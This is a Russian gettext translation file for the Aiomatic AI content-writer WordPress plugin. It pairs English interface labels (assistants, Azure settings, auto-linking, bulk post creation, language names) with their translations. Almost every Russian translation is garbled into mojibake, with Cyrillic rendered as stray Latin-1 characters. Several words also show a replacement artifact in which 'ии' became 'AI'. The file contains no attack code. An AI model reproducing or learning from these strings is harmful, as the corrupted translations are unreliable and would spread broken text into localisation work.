msgid "Asia Pacific 5 (Mumbai)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 5 (Мумбаи)" #: res/aiomatic-main.php:4622 msgid "Asia Pacific 6 (Hong Kong)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 6 (Гонконг)" #: res/aiomatic-amazon-list.php:1979 res/aiomatic-amazon-list.php:4563 #: res/aiomatic-csv-list.php:428 res/aiomatic-csv-list.php:1566 #: res/aiomatic-review-list.php:2048 res/aiomatic-review-list.php:4716 #: res/aiomatic-rules-list.php:2177 res/aiomatic-rules-list.php:4952 #: res/aiomatic-youtube-list.php:1950 res/aiomatic-youtube-list.php:4491 msgid "Aside" msgstr "Ð’ Ñтороне" #: res/aiomatic-amazon-list.php:110 res/aiomatic-review-list.php:110 #: res/aiomatic-rules-list.php:110 res/aiomatic-single-list.php:110 #: res/aiomatic-single-list.php:248 res/aiomatic-youtube-list.php:110 msgid "Assammese" msgstr "аÑÑамÑкий" #: res/aiomatic-languages.php:111 msgid "Assammese (Google Translate)" msgstr "ÐÑÑаммезе (Переводчик Google)" #: res/aiomatic-amazon-list.php:4689 res/aiomatic-csv-list.php:1709 #: res/aiomatic-review-list.php:4842 res/aiomatic-rules-list.php:5078 #: res/aiomatic-youtube-list.php:4617 msgid "Assign WPML/Polylang Language to Posts" msgstr "Ðазначение поÑтов на Ñзыке WPML / Polylang" #: res/aiomatic-amazon-list.php:2092 res/aiomatic-csv-list.php:556 #: res/aiomatic-review-list.php:2161 res/aiomatic-rules-list.php:2290 #: res/aiomatic-youtube-list.php:2063 msgid "Assign WPML/Polylang Language to Posts:" msgstr "Ðазначьте Ð´Ð»Ñ ÐŸÐ¾Ñтов Ñзык WPML / Polylang:" #: res/aiomatic-training.php:183 msgid "Assistant" msgstr "ÐÑÑиÑтент" #: res/aiomatic-assistants.php:494 res/aiomatic-assistants.php:649 msgid "Assistant Avatar" msgstr "Ðватар ÐÑÑиÑтента" #: res/aiomatic-assistants.php:410 res/aiomatic-assistants.php:565 msgid "Assistant Context Prompt" msgstr "КонтекÑтный Промпт ÐÑÑиÑтента" #: res/aiomatic-assistants.php:401 res/aiomatic-assistants.php:556 msgid "Assistant Description" msgstr "ОпиÑание ÐÑÑиÑтента" #: aiomatic-automatic-ai-content-writer.php:15623 msgid "Assistant draft updated." msgstr "Обновлен проект ÐÑÑиÑтента." #: res/aiomatic-assistants.php:446 res/aiomatic-assistants.php:601 msgid "Assistant Files" msgstr "Файлы ÐÑÑиÑтента" #: res/aiomatic-assistants.php:420 res/aiomatic-assistants.php:575 msgid "Assistant First Message" msgstr "Первое Ñообщение ÐÑÑиÑтента" #: res/aiomatic-assistants.php:458 res/aiomatic-assistants.php:613 msgid "Assistant Functions" msgstr "Функции ÐÑÑиÑтента" #: res/aiomatic-limits-statistics.php:698 msgid "Assistant ID" msgstr "ID ÐÑÑиÑтента" #: res/aiomatic-assistants.php:174 msgid "Assistant Local ID" msgstr "Локальный ID ÐÑÑиÑтента" #: res/aiomatic-assistants.php:384 res/aiomatic-assistants.php:539 msgid "Assistant Model*" msgstr "Модель ÐÑÑиÑтента*" #: res/aiomatic-assistants.php:375 res/aiomatic-assistants.php:530 msgid "Assistant Name*" msgstr "Ð˜Ð¼Ñ ÐÑÑиÑтента*" #: res/aiomatic-assistants.php:177 msgid "Assistant OpenAI ID" msgstr "ID OpenAI ÐÑÑиÑтента" #: aiomatic-automatic-ai-content-writer.php:15619 msgid "Assistant published." msgstr "ÐÑÑиÑтент опубликован." #: aiomatic-automatic-ai-content-writer.php:15618 #, php-format msgid "Assistant restored to revision from %s" msgstr "ÐÑÑиÑтент воÑÑтановлен до верÑии %s" #: aiomatic-automatic-ai-content-writer.php:15620 msgid "Assistant saved." msgstr "ÐÑÑиÑтент Ñохранен." #: aiomatic-automatic-ai-content-writer.php:15622 #, php-format msgid "Assistant scheduled for: %1$s." msgstr "ÐÑÑиÑтент запланирован на: %1$s." #: aiomatic-automatic-ai-content-writer.php:15621 msgid "Assistant submitted." msgstr "ÐÑÑиÑтент предÑтавилÑÑ." #: aiomatic-automatic-ai-content-writer.php:15614 #: aiomatic-automatic-ai-content-writer.php:15617 msgid "Assistant updated." msgstr "ÐÑÑиÑтент обновлен." #: aiomatic-automation.php:1024 msgid "Attach Links To Created Posts" msgstr "ПрикреплÑйте ÑÑылки к Ñозданным ПоÑтам" #: res/image-seo/seo-panel.php:80 msgid "Attachment SEO Attributes:" msgstr "SEO-атрибуты прикрепленных файлов:" #: res/aiomatic-main.php:8128 msgid "Attribution License" msgstr "Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð½Ð° Ðтрибуцию" #: res/aiomatic-main.php:8142 msgid "Attribution-NoDerivs License" msgstr "Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Attribution-NoDerivs" #: res/aiomatic-main.php:8114 msgid "Attribution-NonCommercial License" msgstr "ÐÑ‚Ñ€Ð¸Ð±ÑƒÑ†Ð¸Ñ - ÐекоммерчеÑÐºÐ°Ñ Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ" #: res/aiomatic-main.php:8121 msgid "Attribution-NonCommercial-NoDerivs License" msgstr "Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Attribution-NonCommercial-NoDerivs" #: res/aiomatic-main.php:8107 msgid "Attribution-NonCommercial-ShareAlike License" msgstr "Attribution-NonCommercial-ShareAlike ЛицензиÑ" #: res/aiomatic-main.php:8135 msgid "Attribution-ShareAlike License" msgstr "Attribution-ShareAlike ЛицензиÑ" #: res/aiomatic-amazon-list.php:1986 res/aiomatic-amazon-list.php:4598 #: res/aiomatic-csv-list.php:435 res/aiomatic-csv-list.php:1601 #: res/aiomatic-review-list.php:2055 res/aiomatic-review-list.php:4751 #: res/aiomatic-rules-list.php:2184 res/aiomatic-rules-list.php:4987 #: res/aiomatic-youtube-list.php:1957 res/aiomatic-youtube-list.php:4526 msgid "Audio" msgstr "аудио" #: res/aiomatic-chatbot.php:3401 res/aiomatic-spinner-list.php:3621 msgid "Audio Device Profile:" msgstr "Профиль ÐудиоуÑтройÑтва:" #: aiomatic-helpers.php:1493 msgid "Australia" msgstr "ÐвÑтралиÑ" #: res/aiomatic-main.php:2414 msgid "Auth key (optional)" msgstr "Ключ авторизацAI (необÑзательно)" #: res/aiomatic-embeddings.php:651 res/aiomatic-single-list.php:558 #: res/aiomatic-single-list.php:7344 res/aiomatic-spinner-list.php:4743 msgid "Author" msgstr "Ðвтор" #: res/aiomatic-embeddings.php:299 res/aiomatic-spinner-list.php:4347 msgid "Author IDs:" msgstr "Идентификаторы авторов:" #: res/aiomatic-embeddings.php:315 res/aiomatic-spinner-list.php:4363 msgid "Author Names:" msgstr "Имена авторов:" #: res/aiomatic-main.php:2861 msgid "Auto" msgstr "ÐвтоматичеÑки" #: res/aiomatic-amazon-list.php:3835 res/aiomatic-review-list.php:3988 #: res/aiomatic-rules-list.php:4236 res/aiomatic-youtube-list.php:3746 msgid "Auto Add Categories" msgstr "Ðвто Добавить КатегорAI" #: res/aiomatic-amazon-list.php:1303 res/aiomatic-review-list.php:1372 #: res/aiomatic-rules-list.php:1505 res/aiomatic-youtube-list.php:1259 msgid "Auto Add Categories:" msgstr "Ðвто Добавить КатегорAI:" #: res/aiomatic-amazon-list.php:3988 res/aiomatic-review-list.php:4141 #: res/aiomatic-rules-list.php:4389 res/aiomatic-youtube-list.php:3899 msgid "Auto Add Tags" msgstr "Ðвто Добавить Теги" #: res/aiomatic-amazon-list.php:1430 res/aiomatic-review-list.php:1499 #: res/aiomatic-rules-list.php:1632 res/aiomatic-youtube-list.php:1386 msgid "Auto Add Tags:" msgstr "Ðвто Добавить Теги:" #: res/aiomatic-main.php:6854 msgid "Auto Created Embeddings Template:" msgstr "ÐвтоматичеÑки Созданный Шаблон Ð’ÑтраиваниÑ:" #: res/aiomatic-rules-list.php:3229 msgid "Auto Generate Post Title Based On Topics (Optional)" msgstr "ÐвтоматичеÑкое Ñоздание заголовка ПоÑта на оÑнове Тем (необÑзательно)" #: res/aiomatic-rules-list.php:408 msgid "Auto Generate Post Title Based On Topics (Optional):" msgstr "ÐвтоматичеÑкое Ñоздание заголовка ПоÑта на оÑнове Тем (необÑзательно):" #: res/aiomatic-embeddings.php:197 msgid "Auto Index Existing Posts:" msgstr "ÐвтоматичеÑкое индекÑирование ÑущеÑтвующих поÑтов:" #: res/aiomatic-amazon-list.php:4162 res/aiomatic-review-list.php:4315 #: res/aiomatic-rules-list.php:4563 res/aiomatic-youtube-list.php:4073 msgid "Auto Set A Featured Image For Posts (Select Source Below)" msgstr "" "ÐвтоматичеÑки уÑтанавливать избранное изображение Ð´Ð»Ñ ÐŸÐ¾Ñтов (выберите " "иÑточник ниже)" #: res/aiomatic-amazon-list.php:1614 res/aiomatic-review-list.php:1683 #: res/aiomatic-rules-list.php:1816 res/aiomatic-youtube-list.php:1570 msgid "Auto Set A Featured Image For Posts (Select Source Below):" msgstr "" "ÐвтоматичеÑÐºÐ°Ñ ÑƒÑтановка избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐŸÐ¾Ñтов (выберите " "иÑточник ниже):" #: res/aiomatic-main.php:5479 res/aiomatic-more.php:76 msgid "Automate the AI Taxonomy Description Writing Process:" msgstr "Ðвтоматизируйте процеÑÑ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии AI:" #: res/aiomatic-more.php:59 msgid "Automatic AI Written SEO Tags For Media Library Items:" msgstr "ÐвтоматичеÑкие SEO-теги, напиÑанные AI Ð´Ð»Ñ Ð­Ð»ÐµÐ¼ÐµÐ½Ñ‚Ð¾Ð² Медиатеки:" #: res/aiomatic-spinner-list.php:34 msgid "Automatic Content Editing" msgstr "ÐвтоматичеÑкое Редактирование Контента" #: res/aiomatic-spinner-list.php:4143 msgid "Automatic Editing Of Existing Posts:" msgstr "ÐвтоматичеÑкое Редактирование СущеÑтвующих ПоÑтов:" #: res/aiomatic-main.php:3715 msgid "Automatic Linking Keyword Extraction Method:" msgstr "Метод автоматичеÑкого Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов:" #: res/aiomatic-amazon-list.php:1209 res/aiomatic-amazon-list.php:3744 #: res/aiomatic-csv-list.php:563 res/aiomatic-csv-list.php:1715 #: res/aiomatic-review-list.php:1278 res/aiomatic-review-list.php:3897 #: res/aiomatic-rules-list.php:1411 res/aiomatic-rules-list.php:4145 #: res/aiomatic-single-list.php:1218 res/aiomatic-single-list.php:2115 #: res/aiomatic-single-list.php:2850 res/aiomatic-single-list.php:4103 #: res/aiomatic-single-list.php:5417 res/aiomatic-single-list.php:6783 #: res/aiomatic-youtube-list.php:1165 res/aiomatic-youtube-list.php:3655 msgid "Automatic Linking Options" msgstr "Параметры ÐвтоматичеÑкой Линковки" #: res/aiomatic-amazon-list.php:3750 res/aiomatic-csv-list.php:1721 #: res/aiomatic-review-list.php:3903 res/aiomatic-rules-list.php:4151 #: res/aiomatic-youtube-list.php:3661 msgid "Automatic Linking Type" msgstr "ÐвтоматичеÑкий Тип Линковки" #: res/aiomatic-amazon-list.php:1220 res/aiomatic-csv-list.php:574 #: res/aiomatic-review-list.php:1289 res/aiomatic-rules-list.php:1422 #: res/aiomatic-single-list.php:1229 res/aiomatic-single-list.php:2126 #: res/aiomatic-single-list.php:2861 res/aiomatic-single-list.php:4114 #: res/aiomatic-single-list.php:5428 res/aiomatic-single-list.php:6794 #: res/aiomatic-spinner-list.php:2102 res/aiomatic-youtube-list.php:1176 msgid "Automatic Linking Type:" msgstr "ÐвтоматичеÑкий Тип Линковки:" #: res/aiomatic-main.php:3704 #| msgid "Internal Links Keyword Extractor Settings:" msgid "Automatic Links Keyword Extractor Settings:" msgstr "ÐаÑтройки автоматичеÑкого Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ð´Ð»Ñ ÑÑылок:" #: res/aiomatic-main.php:5352 msgid "Automatic Taxonomy Processing At Creation:" msgstr "ÐвтоматичеÑÐºÐ°Ñ ÐžÐ±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ° ТакÑономии при Создании:" #: res/aiomatic-spinner-list.php:2785 msgid "Automatically Add AI Generated SEO Description To Posts:" msgstr "ÐвтоматичеÑки добавлÑÑ‚ÑŒ Ñгенерированное AI SEO-опиÑание к ПоÑтам:" #: res/aiomatic-spinner-list.php:886 msgid "" "Automatically Add AI Generated SEO Description To Posts: This will " "automatically add SEO meta description for posts." msgstr "" "ÐвтоматичеÑки добавлÑÑ‚ÑŒ SEO-опиÑание, Ñгенерированное AI, к ПоÑтам. Это " "автоматичеÑки добавит SEO-мета-опиÑание к ПоÑтам." #: res/aiomatic-spinner-list.php:2185 msgid "Automatically Add Categories To Posts:" msgstr "ÐвтоматичеÑки добавлÑÑ‚ÑŒ Категории к ПоÑтам:" #: res/aiomatic-spinner-list.php:2534 msgid "Automatically Add Comments To Posts:" msgstr "ÐвтоматичеÑки добавлÑÑ‚ÑŒ комментарии к ПоÑтам:" #: res/aiomatic-spinner-list.php:884 msgid "" "Automatically Add Comments To Posts: This will add related comments to posts." msgstr "" "ÐвтоматичеÑки добавлÑÑ‚ÑŒ комментарии к ПоÑтам: Это добавит ÑвÑзанные " "комментарии к ПоÑтам." #: res/aiomatic-spinner-list.php:882 msgid "" "Automatically Add Internal Links: This will automatically add internal links " "to posts." msgstr "" "ÐвтоматичеÑки добавлÑÑ‚ÑŒ внутренние ÑÑылки: Это автоматичеÑки добавит " "внутренние ÑÑылки к ПоÑтам." #: res/aiomatic-spinner-list.php:2059 msgid "Automatically Add Links To Posts:" msgstr "ÐвтоматичеÑки ДобавлÑÑ‚ÑŒ СÑылки в ПоÑÑ‚Ñ‹:" #: res/aiomatic-spinner-list.php:2360 msgid "Automatically Add Tags To Posts:" msgstr "ÐвтоматичеÑки добавлÑÑ‚ÑŒ Теги к ПоÑтам:" #: res/aiomatic-main.php:7372 msgid "Automatically Clear Logs After:" msgstr "ÐвтоматичеÑки очищать журналы поÑле:" #: res/aiomatic-spinner-list.php:3914 msgid "Automatically Process Posts When They Are:" msgstr "ÐвтоматичеÑки обрабатывать ПоÑÑ‚Ñ‹, Когда Они:" #: res/aiomatic-main.php:5749 msgid "Automatically Run Rules Only Between These Hour Periods Each Day:" msgstr "" "ÐвтоматичеÑки запуÑкать правила только между Ñтими чаÑовыми периодами каждый " "день:" #: res/aiomatic-main.php:5922 msgid "Automatically Translate Content To:" msgstr "ÐвтоматичеÑки переводить Контент в:" #: res/aiomatic-logs.php:80 res/aiomatic-logs.php:84 msgid "Available" msgstr "ДоÑтупный" #: res/aiomatic-automation-list.php:2437 msgid "Available OmniBlock Types:" msgstr "ДоÑтупные типы OmniBlock:" #: res/aiomatic-shortcodes.php:132 msgid "Available shortcodes:" msgstr "ДоÑтупные Шорткоды (ÑокращениÑ)" #: res/aiomatic-assistants.php:171 res/aiomatic-chatbot.php:2303 msgid "Avatar" msgstr "Ðватар" #: aiomatic-helpers.php:1473 res/aiomatic-amazon-list.php:490 #: res/aiomatic-amazon-list.php:3091 res/aiomatic-single-list.php:4698 msgid "AvgCustomerReviews" msgstr "СреднийОтзывКлиентов" #: res/aiomatic-amazon-list.php:111 res/aiomatic-review-list.php:111 #: res/aiomatic-rules-list.php:111 res/aiomatic-single-list.php:111 #: res/aiomatic-single-list.php:249 res/aiomatic-youtube-list.php:111 msgid "Aymara" msgstr "ÐймарÑкий" #: res/aiomatic-languages.php:112 msgid "Aymara (Google Translate)" msgstr "Ðймара (Переводчик Google)" #: res/aiomatic-amazon-list.php:59 res/aiomatic-review-list.php:59 #: res/aiomatic-rules-list.php:59 res/aiomatic-single-list.php:59 #: res/aiomatic-single-list.php:197 res/aiomatic-youtube-list.php:59 msgid "Azerbaijani" msgstr "ÐзербайджанÑкий" #: res/aiomatic-languages.php:59 msgid "Azerbaijani (Google Translate)" msgstr "ÐзербайджанÑкий (переводчик Google)" #: res/aiomatic-main.php:1809 msgid "Azure AI Model Deployments List" msgstr "СпиÑок развертываний моделей Azure AI" #: res/aiomatic-main.php:1836 msgid "Azure API Key Settings" msgstr "ÐаÑтройки ключа API Azure" #: res/aiomatic-main.php:1829 msgid "Azure deployment name for " msgstr "Ð˜Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure длÑ" #: res/aiomatic-main.php:1806 msgid "Azure Endpoint" msgstr "ÐšÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° Azure" #: res/aiomatic-main.php:1824 msgid "Azure OpenAI Deployment Name For '" msgstr "Ð˜Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure OpenAI Ð´Ð»Ñ '" #: res/aiomatic-main.php:1801 msgid "Azure OpenAI Endpoint:" msgstr "ÐšÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° Azure OpenAI:" #: aiomatic-shortcodes-file.php:3666 msgid "Back" msgstr "Ðазад" #: res/aiomatic-chatbot.php:4881 res/aiomatic-chatbot.php:5233 #: res/aiomatic-chatbot.php:5357 res/aiomatic-chatbot.php:5487 msgid "Back to List" msgstr "ВернутьÑÑ Ðº ÑпиÑку" #: res/aiomatic-main.php:8349 res/aiomatic-main.php:8868 msgid "Backgrounds" msgstr "Фоны" #: res/aiomatic-assistants.php:323 msgid "Backup Current Assistants To File:" msgstr "Резервное копирование текущих аÑÑиÑтентов в файл:" #: res/aiomatic-automation-list.php:2133 msgid "Backup Current OmniBlock Templates To File:" msgstr "Резервное копирование текущих шаблонов OmniBlock в файл:" #: res/aiomatic-chatbot.php:5643 msgid "Backup Current Personas To File:" msgstr "Резервное копирование текущих перÑон в файл:" #: res/aiomatic-assistants.php:280 res/aiomatic-automation-list.php:2090 #: res/aiomatic-chatbot.php:5600 res/aiomatic-shortcodes.php:406 msgid "Backup File (*.json)" msgstr "Файл БÑкапа (*.json)" #: res/aiomatic-assistants.php:138 res/aiomatic-assistants.php:257 msgid "Backup/Restore Assistants" msgstr "резервное копирование/воÑÑтановление ÐÑÑиÑтентов" #: res/aiomatic-automation-list.php:2067 res/aiomatic-automation-list.php:2329 msgid "Backup/Restore OmniBlock Templates" msgstr "Резервное копирование/воÑÑтановление шаблонов OmniBlock" #: res/aiomatic-chatbot.php:2279 res/aiomatic-chatbot.php:5577 msgid "Backup/Restore Personas" msgstr "Резервное копирование/воÑÑтановление перÑонажей" #: res/aiomatic-amazon-list.php:112 res/aiomatic-review-list.php:112 #: res/aiomatic-rules-list.php:112 res/aiomatic-single-list.php:112 #: res/aiomatic-single-list.php:250 res/aiomatic-youtube-list.php:112 msgid "Bambara" msgstr "Бамбара" #: res/aiomatic-languages.php:113 msgid "Bambara (Google Translate)" msgstr "Бамбара (Google Переводчик)" #: res/aiomatic-amazon-list.php:61 res/aiomatic-review-list.php:61 #: res/aiomatic-rules-list.php:61 res/aiomatic-single-list.php:61 #: res/aiomatic-single-list.php:199 res/aiomatic-youtube-list.php:61 msgid "Basque" msgstr "БаÑкÑкий" #: res/aiomatic-languages.php:61 msgid "Basque (Google Translate)" msgstr "БаÑкÑкий (переводчик Google)" #: res/aiomatic-spinner-list.php:896 msgid "Be sure to always save settings you change." msgstr "Ð’Ñегда ÑохранÑйте измененные ÐаÑтройки." #: res/aiomatic-single-list.php:977 #, php-format msgid "" "Be sure to edit the 'Title Prompt' settings from the advanced settings to " "change the way titles will be created! Enter a post topic list, one on each " "line. If you enter multiple topics (one per line), a random topic will be " "selected at each run. This will set the value of the %%topic%% shortcode, " "which can be used in prompts below. You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" "ОбÑзательно отредактируйте наÑтройки «Промпта Заголовка» в дополнительных " "наÑтройках, чтобы изменить ÑпоÑоб ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð²! Введите ÑпиÑок тем " "ПоÑтов, по одной в каждой Ñтроке. ЕÑли вы введете неÑколько тем (по одной в " "Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð°. Это уÑтановит " "значение короткого кода %%topic%%, который можно иÑпользовать в Промптах " "ниже. Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные " "в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. " "Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты," " которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-shortcodes.php:114 msgid "be sure to not skip this step!" msgstr "обÑзательно не пропуÑтите Ñтот шаг!" #: res/aiomatic-embeddings.php:51 res/aiomatic-training.php:59 msgid "be sure to not skip this step! Also, be sure to be clear with" msgstr "" "обÑзательно не пропуÑтите Ñтот шаг! Кроме того, убедитеÑÑŒ, что вы четко " "определилиÑÑŒ Ñ" #: res/aiomatic-spinner-list.php:4094 msgid "" "before you continue. You can filter which posts you need edited. Doing a " "general site backup is also recommended before doing bulk content editing." msgstr "" "прежде чем продолжить. Ð’Ñ‹ можете отфильтровать, какие ПоÑÑ‚Ñ‹ вам нужно " "отредактировать. Перед маÑÑовым редактированием Контента также рекомендуетÑÑ " "Ñделать общую резервную копию Ñайта." #: res/aiomatic-embeddings.php:198 msgid "before you continue. You can filter which posts you need to be indexed." msgstr "" "прежде чем продолжить. Ð’Ñ‹ можете отфильтровать, какие поÑÑ‚Ñ‹ нужно " "проиндекÑировать." #: res/aiomatic-amazon-list.php:14 res/aiomatic-review-list.php:14 #: res/aiomatic-rules-list.php:14 res/aiomatic-single-list.php:14 #: res/aiomatic-single-list.php:152 res/aiomatic-youtube-list.php:14 msgid "Belarusian" msgstr "БелоруÑÑкий" #: res/aiomatic-languages.php:10 msgid "Belarusian (Google Translate)" msgstr "БелоруÑÑкий (переводчик гугл)" #: res/aiomatic-amazon-list.php:62 res/aiomatic-review-list.php:62 #: res/aiomatic-rules-list.php:62 res/aiomatic-single-list.php:62 #: res/aiomatic-single-list.php:200 res/aiomatic-youtube-list.php:62 msgid "Bengali" msgstr "БенгальÑкий" #: res/aiomatic-languages.php:62 msgid "Bengali (Google Translate)" msgstr "БенгальÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:113 res/aiomatic-review-list.php:113 #: res/aiomatic-rules-list.php:113 res/aiomatic-single-list.php:113 #: res/aiomatic-single-list.php:251 res/aiomatic-youtube-list.php:113 msgid "Bhojpuri" msgstr "бходжпури" #: res/aiomatic-languages.php:114 msgid "Bhojpuri (Google Translate)" msgstr "Бходжпури (Переводчик Google)" #: res/aiomatic-chatbot.php:2408 msgid "Blacklisted WordPress Functions:" msgstr "Функции WordPress, внеÑенные в черный ÑпиÑок:" #: aiomatic-automatic-ai-content-writer.php:12824 #: res/aiomatic-automation-list.php:5405 msgid "Block Validation Errors" msgstr "Ошибки проверки блока" #: aiomatic-automation.php:827 msgid "Board Where to Publish Pins" msgstr "ДоÑка объÑвлений Где публиковать пины" #: res/aiomatic-amazon-list.php:544 res/aiomatic-amazon-list.php:3156 #: res/aiomatic-review-list.php:471 res/aiomatic-review-list.php:3141 #: res/aiomatic-rules-list.php:477 res/aiomatic-rules-list.php:3308 #: res/aiomatic-single-list.php:1430 res/aiomatic-single-list.php:3418 #: res/aiomatic-single-list.php:4752 res/aiomatic-single-list.php:5976 #: res/aiomatic-youtube-list.php:480 res/aiomatic-youtube-list.php:3041 msgid "Bold" msgstr "Жирный" #: res/aiomatic-amazon-list.php:546 res/aiomatic-amazon-list.php:3166 #: res/aiomatic-review-list.php:473 res/aiomatic-review-list.php:3151 #: res/aiomatic-rules-list.php:479 res/aiomatic-rules-list.php:3318 #: res/aiomatic-single-list.php:1432 res/aiomatic-single-list.php:3420 #: res/aiomatic-single-list.php:4754 res/aiomatic-single-list.php:5978 #: res/aiomatic-youtube-list.php:482 res/aiomatic-youtube-list.php:3051 msgid "Bold and Italic" msgstr "Жирный и курÑив" #: res/aiomatic-chatbot.php:3159 res/aiomatic-spinner-list.php:3379 msgid "Boost the characteristics of the voice. Default is disabled." msgstr "Улучшите характериÑтики голоÑа. По умолчанию отключено." #: res/aiomatic-chatbot.php:3175 res/aiomatic-spinner-list.php:3395 msgid "" "Boost the similarity of the synthesized speech and the voice at the cost of " "some generation speed." msgstr "" "ПовыÑьте ÑходÑтво Ñинтезированной речи и голоÑа за Ñчет некоторой ÑкороÑти " "генерации." #: res/aiomatic-chatbot.php:3143 res/aiomatic-spinner-list.php:3363 msgid "" "Boosting voice clarity and target speaker similarity is achieved by high " "enhancement; however, very high values can produce artifacts, so it's " "essential to find the optimal setting. The default value is 0.75" msgstr "" "Повышение четкоÑти голоÑа и ÑходÑтва целевого говорÑщего доÑтигаетÑÑ Ð·Ð° Ñчет " "выÑокого уÑилениÑ; однако очень выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ привеÑти к поÑвлению " "артефактов, поÑтому важно найти оптимальную наÑтройку. Значение по умолчанию " "— 0,75." #: res/aiomatic-amazon-list.php:72 res/aiomatic-review-list.php:72 #: res/aiomatic-rules-list.php:72 res/aiomatic-single-list.php:72 #: res/aiomatic-single-list.php:210 res/aiomatic-youtube-list.php:72 msgid "Bosnian" msgstr "БоÑнийÑкий" #: res/aiomatic-languages.php:72 msgid "Bosnian (Google Translate)" msgstr "БоÑнийÑкий (переводчик Google)" #: res/aiomatic-rules-list.php:547 res/aiomatic-rules-list.php:3401 #: res/aiomatic-single-list.php:1500 res/aiomatic-single-list.php:3488 #: res/aiomatic-youtube-list.php:550 res/aiomatic-youtube-list.php:3134 msgid "Bottom of the section" msgstr "ÐижнÑÑ Ñ‡Ð°ÑÑ‚ÑŒ раздела" #: aiomatic-helpers.php:1491 msgid "Brasil" msgstr "БразилиÑ" #: res/aiomatic-main.php:8424 res/aiomatic-main.php:8943 msgid "Buildings" msgstr "СтроениÑ" #: res/aiomatic-main.php:6173 msgid "Built-in - Medium Quality - Free" msgstr "Ð’Ñтроенный - Среднее качеÑтво - беÑплатно" #: res/aiomatic-main.php:3836 msgid "Built-in Keyword Extractor Language:" msgstr "Ð’Ñтроенный Ñзык Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов:" #: res/aiomatic-shortcodes.php:101 msgid "Built-in Shortcodes" msgstr "Ð’Ñтроенные Шорткоды" #: res/aiomatic-amazon-list.php:15 res/aiomatic-main.php:8628 #: res/aiomatic-review-list.php:15 res/aiomatic-rules-list.php:15 #: res/aiomatic-single-list.php:15 res/aiomatic-single-list.php:153 #: res/aiomatic-youtube-list.php:15 msgid "Bulgarian" msgstr "болгарÑкий" #: res/aiomatic-languages.php:11 msgid "Bulgarian (Google Translate)" msgstr "БолгарÑкий (переводчик Google)" #: res/aiomatic-spinner-list.php:4261 msgid "Bulk AI Editing Settings:" msgstr "МаÑÑовые ÐаÑтройки Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI:" #: res/aiomatic-embeddings.php:235 msgid "Bulk AI Embeddings Settings:" msgstr "ÐаÑтройки маÑÑового вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI :" #: aiomatic-automatic-ai-content-writer.php:1319 res/aiomatic-main.php:6723 #: res/aiomatic-main.php:7225 msgid "Bulk AI Post Creator" msgstr "AI Создатель ÐеÑкольких ПоÑтов" #: res/aiomatic-main.php:6744 res/aiomatic-main.php:7246 msgid "Bulk AI Post Creator - Content Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов — Промпты Контента" #: res/aiomatic-main.php:6759 res/aiomatic-main.php:7261 msgid "Bulk AI Post Creator - Excerpt Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов – Промпты Отрывка" #: res/aiomatic-main.php:6739 res/aiomatic-main.php:7241 msgid "Bulk AI Post Creator - Intro Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов — Промпты Ð’Ñупительной ЧаÑти" #: res/aiomatic-main.php:6754 res/aiomatic-main.php:7256 msgid "Bulk AI Post Creator - Outro Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов— Промпты Заключительной чаÑти" #: res/aiomatic-main.php:6749 res/aiomatic-main.php:7251 msgid "Bulk AI Post Creator - QA Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов – Промпты по обеÑпечению качеÑтва" #: res/aiomatic-main.php:6734 res/aiomatic-main.php:7236 msgid "Bulk AI Post Creator - Sections Prompts" msgstr "AI Создатель ÐеÑкольких ПоÑтов— Промпты по Разделам ПоÑта" #: res/aiomatic-main.php:6729 res/aiomatic-main.php:7231 msgid "Bulk AI Post Creator - Title Prompts" msgstr "AI 